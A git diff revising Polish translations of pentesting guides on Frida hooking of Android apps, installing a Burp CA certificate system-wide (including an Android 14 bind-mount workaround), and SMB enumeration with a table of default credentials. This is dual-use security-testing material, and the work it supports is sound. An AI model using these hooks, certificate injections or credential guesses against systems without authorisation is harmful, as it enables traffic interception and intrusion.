```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` @@ -21,10 +22,10 @@ frida-ps -U | grep -i #Get all the package name ``` ## Frida server vs. Gadget (root vs. no-root) -Dwa powszechne sposoby instrumentowania aplikacji Android przy użyciu Frida: +Dwa powszechne sposoby instrumentacji aplikacji Android za pomocą Frida: -- Frida server (rooted devices): Wgraj i uruchom natywny daemon, który pozwala dołączyć do dowolnego procesu. -- Frida Gadget (no root): Dołącz Frida jako bibliotekę współdzieloną wewnątrz APK i automatycznie załaduj ją w docelowym procesie. +- Frida server (rooted devices): Wgraj i uruchom natywny daemon, który pozwala na dołączenie do dowolnego procesu. +- Frida Gadget (no root): Dołącz Frida jako bibliotekę współdzieloną wewnątrz APK i automatycznie ładuj ją w docelowym procesie. Frida server (rooted) ```bash @@ -41,7 +42,7 @@ frida -U -n com.example.app ``` Frida Gadget (no-root) -1) Rozpakuj APK, dodaj gadget .so i konfigurację: +1) Rozpakuj APK, dodaj gadget .so i plik konfiguracyjny: - Umieść libfrida-gadget.so w lib// (np. lib/arm64-v8a/) - Utwórz assets/frida-gadget.config z ustawieniami ładowania skryptów @@ -52,8 +53,8 @@ Przykład frida-gadget.config "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) Referencuj/załaduj gadget tak, aby był zainicjalizowany wcześnie: -- Najprościej: Dodaj mały Java stub wywołujący System.loadLibrary("frida-gadget") w Application.onCreate(), lub użyj istniejącego mechanizmu ładowania bibliotek natywnych. +2) Odwołaj/załaduj gadget, aby był zainicjalizowany wcześniej: +- Najprościej: Dodaj mały stub w Javie wywołujący System.loadLibrary("frida-gadget") w Application.onCreate(), lub użyj już obecnego mechanizmu ładowania bibliotek natywnych. 3) Przepakuj i podpisz APK, a następnie zainstaluj: ```bash @@ -69,38 +70,38 @@ frida-ps -Uai frida -U -n com.example.app ``` Notatki -- Gadget jest wykrywany przez niektóre mechanizmy ochronne; utrzymuj nazwy/ścieżki dyskretne i ładuj późno/lub warunkowo, jeśli to konieczne. -- W przypadku aplikacji wzmocnionych, preferuj rooted testing z server + late attach, lub połącz to z ukrywaniem Magisk/Zygisk. +- Gadget jest wykrywany przez niektóre mechanizmy ochronne; utrzymuj nazwy/ścieżki dyskretne i ładuj go późno/warunkowo, jeśli to konieczne. +- W przypadku utwardzonych aplikacji preferuj testy na urządzeniu z rootem z użyciem server + late attach, lub łącz to z ukrywaniem przez Magisk/Zygisk. ## Samouczki -### [Samouczek 1](frida-tutorial-1.md) +### [Tutorial 1](frida-tutorial-1.md) -**Źródło**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Kod źródłowy**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**Przejdź do [linku, aby przeczytać](frida-tutorial-1.md).** +**Przejdź do [linku, aby to przeczytać](frida-tutorial-1.md).** -### [Samouczek 2](frida-tutorial-2.md) +### [Tutorial 2](frida-tutorial-2.md) -**Źródło**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Części 2, 3 & 4)\ -**APKs i kod źródłowy**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ +**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**Przejdź do [linku, aby przeczytać.](frida-tutorial-2.md)** +**Przejdź do[ linku, aby to przeczytać.](frida-tutorial-2.md)** -### [Samouczek 3](owaspuncrackable-1.md) +### [Tutorial 3](owaspuncrackable-1.md) -**Źródło**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**Przejdź do [linku, aby przeczytać](owaspuncrackable-1.md).** +**Przejdź do [linku, aby to przeczytać](owaspuncrackable-1.md).** -**Tu znajdziesz więcej świetnych skryptów Frida:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**Możesz znaleźć więcej Awesome Frida scripts tutaj:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ## Szybkie przykłady -### Wywoływanie Frida z wiersza poleceń +### Calling Frida from command line ```bash frida-ps -U @@ -126,7 +127,7 @@ sys.stdin.read() ``` ### Hooking funkcji bez parametrów -Hook funkcję `a()` klasy `sg.vantagepoint.a.c` +Hook funkcję `a()` w klasie `sg.vantagepoint.a.c` ```javascript Java.perform(function () { ; rootcheck1.a.overload().implementation = function() { @@ -167,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking funkcji z parametrami i pobierania wartości +### Hooking funkcji z parametrami i pobieranie wartości -Hooking funkcji deszyfrującej. Wydrukuj dane wejściowe, wywołaj oryginalną funkcję, aby odszyfrować wejście i na końcu wydrukuj odszyfrowane dane: +Hooking funkcji decryption. Wypisz wejście, wywołaj oryginalną funkcję, aby decrypt the input, a na końcu wypisz dane jawne: ```javascript function getString(data) { var ret = "" @@ -196,7 +197,7 @@ return ret //[B ``` ### Hooking functions i wywoływanie ich z naszym inputem -Hook funkcję, która przyjmuje string i wywołaj ją z innym stringiem (z [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +Hook a function, który przyjmuje string i wywołaj go z innym stringiem (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -211,9 +212,9 @@ return ret ``` ### Pobieranie już utworzonego obiektu klasy -Jeśli chcesz wyciągnąć jakiś atrybut z utworzonego obiektu, możesz użyć tego. +Jeśli chcesz wyciągnąć atrybut z już utworzonego obiektu, możesz skorzystać z tego. -W tym przykładzie zobaczysz, jak pobrać obiekt klasy my_activity i jak wywołać funkcję .secret(), która wydrukuje prywatny atrybut obiektu: +W tym przykładzie zobaczysz, jak pobrać obiekt klasy my_activity i jak wywołać funkcję .secret(), która wypisze prywatny atrybut obiektu: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity", { onMatch: function (instance) { @@ -227,7 +228,7 @@ onComplete: function () {}, ## Inne samouczki Frida - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [Część 1 serii blogowej Advanced Frida Usage: Biblioteki szyfrowania iOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Część 1 serii blogowej Advanced Frida Usage: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) ## Źródła diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 87305db5b..1f4fb541c 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -1,11 +1,11 @@ -# Install Burp Certificate +# Zainstaluj certyfikat Burp {{#include ../../banners/hacktricks-training.md}} -## System-wide proxy via ADB +## Proxy systemowe przez ADB -Skonfiguruj globalne proxy HTTP, aby wszystkie aplikacje kierowały ruch przez twój interceptor (Burp/mitmproxy): +Skonfiguruj globalny proxy HTTP, aby wszystkie aplikacje kierowały ruch przez swój interceptor (Burp/mitmproxy): ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -17,16 +17,16 @@ Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (P ## Na maszynie wirtualnej -Najpierw musisz pobrać certyfikat Der z Burp. Możesz to zrobić w _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ +Przede wszystkim musisz pobrać certyfikat Der z Burp. Możesz to zrobić w _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ ![](<../../images/image (367).png>) -**Eksportuj certyfikat w formacie Der** i zamień go na formę, którą **Android** będzie w stanie **obsłużyć.** Zwróć uwagę, że **aby skonfigurować certyfikat Burp na maszynie Android w AVD** musisz **uruchomić** tę maszynę **z** opcją **`-writable-system`**.\ -Na przykład możesz uruchomić ją tak: +**Export the certificate in Der format** i przekształćmy go do formatu, który **Android** będzie w stanie **rozpoznać.** Zauważ, że **aby skonfigurować certyfikat Burp na maszynie Android w AVD** musisz **uruchomić** tę maszynę **z** opcją **`-writable-system`**.\ +Na przykład możesz ją uruchomić tak: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -Następnie, aby **skonfigurować certyfikat burps, wykonaj:** +Następnie, aby **skonfigurować certyfikat burps**, wykonaj: ```bash openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" @@ -37,27 +37,27 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -Gdy **machine finish rebooting** burp certificate będzie przez nią używany! +Gdy **maszyna zakończy ponowne uruchamianie** certyfikat Burp będzie przez nią używany! -## Korzystanie z Magisc +## Using Magisc -Jeśli **rootowałeś urządzenie z Magisc** (może emulator) i **nie możesz wykonać** poprzednich **kroków** aby zainstalować Burp cert, ponieważ **filesystem jest tylko do odczytu** i nie możesz go zamontować jako zapisywalny, istnieje inne rozwiązanie. +Jeśli **rootowałeś urządzenie za pomocą Magisc** (np. emulator), i **nie możesz wykonać** poprzednich **kroków** aby zainstalować certyfikat Burp ponieważ **filesystem jest tylko do odczytu** i nie możesz go zamontować jako zapisywalny, istnieje inny sposób. -Wyjaśnione w [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) musisz: +Wyjaśnione w [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) trzeba: -1. **Install a CA certificate**: Po prostu **drag&drop** DER Burp certificate **zmieniając rozszerzenie** na `.crt` na mobile aby został zapisany w Downloads folder i przejdź do `Install a certificate` -> `CA certificate` +1. **Zainstalować certyfikat CA**: Po prostu **przeciągnij i upuść** DER Burp certificate zmieniając rozszerzenie na `.crt` na urządzeniu mobilnym, tak aby został zapisany w folderze Downloads i przejdź do `Install a certificate` -> `CA certificate`
-- Sprawdź, że certyfikat został poprawnie zapisany przechodząc do `Trusted credentials` -> `USER` +- Sprawdź, czy certyfikat został poprawnie zapisany, przechodząc do `Trusted credentials` -> `USER`
-2. **Make it System trusted**: Pobierz Magisc moduł [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **drag&drop go** na telefon, otwórz **Magics app** na telefonie w sekcji **`Modules`**, kliknij **`Install from storage`**, wybierz `.zip` moduł i po instalacji **reboot** telefonu: +2. **Uczyń go zaufanym w systemie**: Pobierz moduł Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **przeciągnij i upuść go** na telefon, otwórz **Magics app** na telefonie, przejdź do sekcji **`Modules`**, kliknij **`Install from storage`**, wybierz moduł `.zip` i po instalacji **zrestartuj** telefon:
-- Po reboot, przejdź do `Trusted credentials` -> `SYSTEM` i sprawdź, że Postswigger cert tam jest +- Po restarcie, przejdź do `Trusted credentials` -> `SYSTEM` i sprawdź, czy Postswigger cert tam jest
@@ -67,13 +67,13 @@ Sprawdź [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting ## Po Android 14 -W najnowszym wydaniu Android 14 zaobserwowano istotną zmianę w obsłudze system-trusted Certificate Authority (CA) certificates. Wcześniej te certyfikaty były przechowywane w **`/system/etc/security/cacerts/`**, dostępne i modyfikowalne przez użytkowników z uprawnieniami root, co pozwalało na ich natychmiastowe zastosowanie w całym systemie. Jednak w Android 14 lokalizacja przechowywania została przeniesiona do **`/apex/com.android.conscrypt/cacerts`**, katalogu w ścieżce **`/apex`**, który z natury jest niemutowalny. +W najnowszym wydaniu Android 14 zaobserwowano znaczącą zmianę w obsłudze system-trusted Certificate Authority (CA) certificates. Wcześniej certyfikaty te były przechowywane w **`/system/etc/security/cacerts/`**, dostępne i modyfikowalne przez użytkowników z uprawnieniami root, co pozwalało na natychmiastowe zastosowanie w całym systemie. Jednak w Android 14 lokalizacja przechowywania została przeniesiona do **`/apex/com.android.conscrypt/cacerts`**, katalogu w ścieżce **`/apex`**, który z natury jest niemutowalny. -Próby ponownego zamontowania **APEX cacerts path** jako zapisywalnego kończą się niepowodzeniem, ponieważ system nie pozwala na takie operacje. Nawet próby odmontowania lub nadpisania katalogu tymczasowym systemem plików (tmpfs) nie obchodzą niemutowalności; aplikacje nadal odczytują oryginalne dane certyfikatów niezależnie od zmian na poziomie systemu plików. Ta odporność wynika z faktu, że montowanie **`/apex`** jest skonfigurowane z PRIVATE propagation, co zapewnia, że jakiekolwiek modyfikacje wewnątrz katalogu **`/apex`** nie wpływają na inne procesy. +Próby ponownego zamontowania ścieżki APEX cacerts jako zapisywalnej kończą się niepowodzeniem, ponieważ system nie pozwala na takie operacje. Nawet próby odmontowania lub nałożenia na katalog tymczasowego systemu plików (tmpfs) nie obejdą niemutowalności; aplikacje nadal będą dostępowały oryginalnych danych certyfikatów niezależnie od zmian na poziomie filesystemu. Ta odporność wynika z tego, że montowanie **`/apex`** jest skonfigurowane z PRIVATE propagation, zapewniając, że jakiekolwiek modyfikacje wewnątrz katalogu **`/apex`** nie wpływają na inne procesy. -Inicjalizacja Androida obejmuje proces `init`, który przy uruchamianiu systemu operacyjnego także inicjuje proces Zygote. Ten proces jest odpowiedzialny za uruchamianie procesów aplikacji z nową przestrzenią nazw montowania, która zawiera prywatny mount **`/apex`**, izolując w ten sposób zmiany w tym katalogu od innych procesów. +Inicjalizacja Androida obejmuje proces `init`, który podczas uruchamiania systemu operacyjnego uruchamia również proces Zygote. Proces ten odpowiada za uruchamianie procesów aplikacji z nową mount namespace, która zawiera prywatny mount **`/apex`**, izolując zmiany w tym katalogu od innych procesów. -Niemniej jednak istnieje obejście dla tych, którzy potrzebują modyfikować system-trusted CA certificates w katalogu **`/apex`**. Polega ono na ręcznym ponownym zamontowaniu **`/apex`** aby usunąć PRIVATE propagation, czyniąc go zapisywalnym. Proces obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innej lokalizacji, odmontowanie katalogu **`/apex/com.android.conscrypt`** aby wyeliminować ograniczenie tylko do odczytu, a następnie przywrócenie zawartości na oryginalne miejsce w **`/apex`**. Podejście to wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić zastosowanie tych zmian w całym systemie, zaleca się zrestartowanie `system_server`, co efektywnie restartuje wszystkie aplikacje i przywraca system do spójnego stanu. +Niemniej jednak istnieje obejście dla tych, którzy muszą zmodyfikować system-trusted CA certificates w katalogu **`/apex`**. Polega ono na ręcznym ponownym zamontowaniu **`/apex`** w celu usunięcia PRIVATE propagation, dzięki czemu staje się zapisywalny. Proces obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** w inne miejsce, odmontowanie katalogu **`/apex/com.android.conscrypt`** aby usunąć ograniczenie tylko do odczytu, a następnie przywrócenie zawartości na jej oryginalne miejsce w **`/apex`**. Podejście to wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić zastosowanie tych zmian w całym systemie, zaleca się ponowne uruchomienie `system_server`, co efektywnie restartuje wszystkie aplikacje i przywraca system do spójnego stanu. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -131,26 +131,26 @@ wait # Launched in parallel - wait for completion here echo "System certificate injected" ``` -### Bind-mounting through NSEnter +### Bind-mounting przez NSEnter -1. **Konfigurowanie katalogu zapisywalnego**: Najpierw tworzy się katalog umożliwiający zapis, montując `tmpfs` nad istniejącym katalogiem certyfikatów systemowych non-APEX. Robi się to za pomocą następującego polecenia: +1. **Utworzenie zapisywalnego katalogu**: Początkowo tworzy się zapisywalny katalog, montując `tmpfs` nad istniejącym katalogiem certyfikatów systemowych non-APEX. Robi się to za pomocą następującego polecenia: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Preparing CA Certificates**: Po skonfigurowaniu zapisywalnego katalogu, CA certificates, które zamierzasz użyć, należy skopiować do tego katalogu. Może to wymagać skopiowania domyślnych certyfikatów z `/apex/com.android.conscrypt/cacerts/`. Należy odpowiednio ustawić uprawnienia i etykiety SELinux tych certyfikatów. -3. **Bind Mounting for Zygote**: Używając `nsenter`, wchodzi się do mount namespace procesu Zygote. Zygote, będący procesem odpowiedzialnym za uruchamianie aplikacji Android, wymaga tego kroku, aby wszystkie później uruchamiane aplikacje korzystały z nowo skonfigurowanych CA certificates. Użyta komenda to: +2. **Przygotowanie certyfikatów CA**: Po skonfigurowaniu katalogu z możliwością zapisu, certyfikaty CA, które zamierza się użyć, powinny zostać skopiowane do tego katalogu. Może to obejmować skopiowanie domyślnych certyfikatów z `/apex/com.android.conscrypt/cacerts/`. Konieczne jest odpowiednie ustawienie uprawnień i etykiet SELinux dla tych certyfikatów. +3. **Montowanie bind dla Zygote**: Za pomocą `nsenter` wchodzi się do mount namespace Zygote. Zygote, będący procesem odpowiedzialnym za uruchamianie aplikacji Android, wymaga tego kroku, aby zapewnić, że wszystkie uruchamiane dalej aplikacje będą korzystać z nowo skonfigurowanych certyfikatów CA. Używane polecenie to: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -To zapewnia, że każda nowo uruchomiona aplikacja będzie stosować zaktualizowaną konfigurację certyfikatów CA. +To zapewnia, że każda nowa aplikacja będzie korzystać ze zaktualizowanego zestawu certyfikatów CA. -4. **Zastosowanie zmian w działających aplikacjach**: Aby zastosować zmiany w już działających aplikacjach, ponownie używa się `nsenter`, aby wejść do namespace każdej aplikacji indywidualnie i wykonać podobny bind mount. Niezbędne polecenie to: +4. **Applying Changes to Running Apps**: Aby zastosować zmiany w już działających aplikacjach, ponownie używa się `nsenter`, aby wejść do namespace każdej aplikacji osobno i wykonać podobny bind mount. Niezbędne polecenie to: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternatywne podejście - Soft Reboot**: Alternatywna metoda polega na wykonaniu bind mount na procesie `init` (PID 1), a następnie przeprowadzeniu soft reboot systemu operacyjnego za pomocą poleceń `stop && start`. To podejście spowoduje propagację zmian we wszystkich namespaces, eliminując potrzebę indywidualnego adresowania każdej uruchomionej aplikacji. Jednak ta metoda jest zazwyczaj mniej preferowana ze względu na niedogodność związaną z ponownym uruchomieniem. +5. **Alternative Approach - Soft Reboot**: Alternatywna metoda polega na wykonaniu bind mount na procesie `init` (PID 1), a następnie użyciu soft reboot systemu operacyjnego za pomocą poleceń `stop && start`. Podejście to spowoduje propagację zmian we wszystkich namespaces, dzięki czemu nie trzeba indywidualnie obsługiwać każdej uruchomionej app. Jednak metoda ta jest zazwyczaj mniej preferowana ze względu na niedogodności związane z rebootowaniem. -## Źródła +## Referencje - [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 601ac11e0..91175fa71 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,43 +4,43 @@ ## **Port 139** -The _**Network Basic Input Output System**_** (NetBIOS)** to protokół programowy zaprojektowany, aby umożliwić aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci komputerowej (LAN) interakcję ze sprzętem sieciowym oraz **ułatwić przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich NetBIOS names, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (pełniąca rolę klienta) wydaje polecenie "call" do innej aplikacji (pełniącej rolę serwera), korzystając z **TCP Port 139**. +_**System podstawowego wejścia/wyjścia sieci**_** (NetBIOS)** to protokół programowy zaprojektowany, aby umożliwić aplikacjom, komputerom PC i stacjom roboczym w sieci lokalnej (LAN) komunikację ze sprzętem sieciowym oraz **ułatwić przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwoma aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) wykorzystując **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Technicznie rzecz biorąc, Port 139 nazywany jest ‘NBT over IP’, natomiast Port 445 określany jest jako ‘SMB over IP’. Skrót **SMB** oznacza ‘**Server Message Blocks**’, który jest współcześnie znany również jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest wykorzystywany głównie do umożliwienia współdzielonego dostępu do plików, drukarek, portów szeregowych oraz do ułatwiania różnych form komunikacji między węzłami w sieci. +Technicznie Port 139 jest określany jako ‘NBT over IP’, natomiast Port 445 jest identyfikowany jako ‘SMB over IP’. Akronim **SMB** oznacza ‘**Server Message Blocks**’, które współcześnie jest również znane jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest wykorzystywany głównie do udostępniania plików, drukarek, portów szeregowych oraz do realizowania różnych form komunikacji między węzłami w sieci. -Na przykład, w kontekście Windows podkreśla się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność korzystania z NetBIOS over TCP/IP poprzez wykorzystanie portu 445. Natomiast w innych systemach obserwuje się użycie portu 139, co wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP. +Na przykład, w kontekście Windows podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność użycia NetBIOS over TCP/IP, dzięki wykorzystaniu portu 445. Natomiast na innych systemach użycie portu 139 wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -The **Server Message Block (SMB)** protocol, operating in a **klient-serwer** model, is designed for regulating **dostęp do plików**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB. +Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, służy do regulowania **dostępu do plików**, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Używany głównie w rodzinie systemów operacyjnych **Windows**, SMB zapewnia kompatybilność wsteczną, pozwalając urządzeniom z nowszymi wersjami systemu Microsoft na bezproblemową interakcję z urządzeniami działającymi na starszych wersjach. Dodatkowo projekt **Samba** oferuje wolne oprogramowanie umożliwiające implementację SMB na systemach **Linux** i Unix, ułatwiając w ten sposób komunikację międzyplatformową przez SMB. -Udostępnienia, reprezentujące **dowolne części lokalnego systemu plików**, mogą być dostarczone przez serwer SMB, czyniąc hierarchię widoczną dla klienta częściowo **niezależną** od faktycznej struktury serwera. The **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`execute`**, **`read`** i **`full access`**. Te uprawnienia mogą być przypisywane pojedynczym użytkownikom lub grupom, w zależności od udostępnień, i są odrębne od lokalnych uprawnień ustawionych na serwerze. +Udostępnienia (shares), reprezentujące **dowolne części lokalnego systemu plików**, mogą być udostępnione przez serwer SMB, dzięki czemu widok hierarchii dla klienta jest częściowo **niezależny** od rzeczywistej struktury serwera. **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** uprawnień użytkowników, włączając atrybuty takie jak **`execute`**, **`read`** i **`full access`**. Uprawnienia te mogą być przypisywane do poszczególnych użytkowników lub grup w zależności od udostępnień i są odrębne od lokalnych uprawnień ustawionych na serwerze. ### IPC$ Share -Dostęp do udostępnienia IPC$ można uzyskać poprzez anonimową null session, co umożliwia interakcję z usługami wystawionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Prawidłowo użyte umożliwia pozyskanie: +Dostęp do udostępnienia IPC$ można uzyskać poprzez anonimową null session, co pozwala na interakcję z usługami wystawionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Prawidłowo użyte umożliwia uzyskanie: -- Informacji o systemie operacyjnym -- Szczegółów o domenie nadrzędnej -- Listy lokalnych użytkowników i grup -- Informacji o dostępnych udostępnieniach SMB +- Informacje o systemie operacyjnym +- Szczegóły dotyczące domeny nadrzędnej +- Lista lokalnych użytkowników i grup +- Informacje o dostępnych udostępnieniach SMB - Obowiązującej polityki bezpieczeństwa systemu -Ta funkcjonalność jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa, aby ocenić postawę bezpieczeństwa usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB docelowego systemu, co jest niezbędne do identyfikowania potencjalnych podatności i zapewnienia, że usługi SMB są odpowiednio zabezpieczone. +Funkcjonalność ta jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa do oceny stanu zabezpieczeń usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB systemu docelowego, co jest niezbędne do identyfikacji potencjalnych luk oraz zapewnienia, że usługi SMB są odpowiednio zabezpieczone. ```bash enum4linux -a target_ip ``` -Powyższe polecenie jest przykładem, jak można użyć `enum4linux` do przeprowadzenia pełnej enumeracji celu określonego jako `target_ip`. +The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`. ## Czym jest NTLM -Jeśli nie wiesz, czym jest NTLM lub chcesz zrozumieć, jak działa i jak można to wykorzystać, bardzo interesująca będzie ta strona o **NTLM**, na której wyjaśniono **jak ten protokół działa i jak możesz go wykorzystać:** +Jeśli nie wiesz, czym jest NTLM lub chcesz poznać jego działanie i sposoby nadużyć, bardzo ciekawa będzie ta strona o **NTLM**, na której wyjaśniono **jak działa ten protokół i jak można go wykorzystać:** {{#ref}} @@ -49,15 +49,15 @@ Jeśli nie wiesz, czym jest NTLM lub chcesz zrozumieć, jak działa i jak można ## **Enumeracja serwerów** -### **Scan** sieci w poszukiwaniu hostów: +### **Skanowanie** sieci w poszukiwaniu hostów: ```bash nbtscan -r 192.168.0.1/24 ``` ### Wersja serwera SMB -Aby szukać możliwych exploits dla wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz: +Aby szukać potencjalnych exploitów dla wersji SMB, ważne jest, aby znać używaną wersję. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz: -- Użyj modułu pomocniczego **MSF** `**auxiliary/scanner/smb/smb_version**` +- Użyj pomocniczego modułu **MSF** `**auxiliary/scanner/smb/smb_version**` - Lub ten skrypt: ```bash #!/bin/sh @@ -82,15 +82,15 @@ searchsploit microsoft smb ``` ### **Możliwe** dane uwierzytelniające -| **Nazwa(y) użytkownika** | **Typowe hasła** | -| -------------------- | ----------------------------------------- | -| _(puste)_ | _(puste)_ | -| guest | _(puste)_ | -| Administrator, admin | _(puste)_, password, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | password, test, lab, demo | +| **Nazwa użytkownika(ów)** | **Typowe hasła** | +| ------------------------- | ---------------------------------------- | +| _(puste)_ | _(puste)_ | +| guest | _(puste)_ | +| Administrator, admin | _(puste)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | ### Brute Force @@ -98,7 +98,7 @@ searchsploit microsoft smb ### Informacje o środowisku SMB -### Uzyskanie informacji +### Zdobywanie informacji ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -120,9 +120,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Wylistuj użytkowników, grupy & zalogowanych użytkowników +### Wylicz użytkowników, grupy i 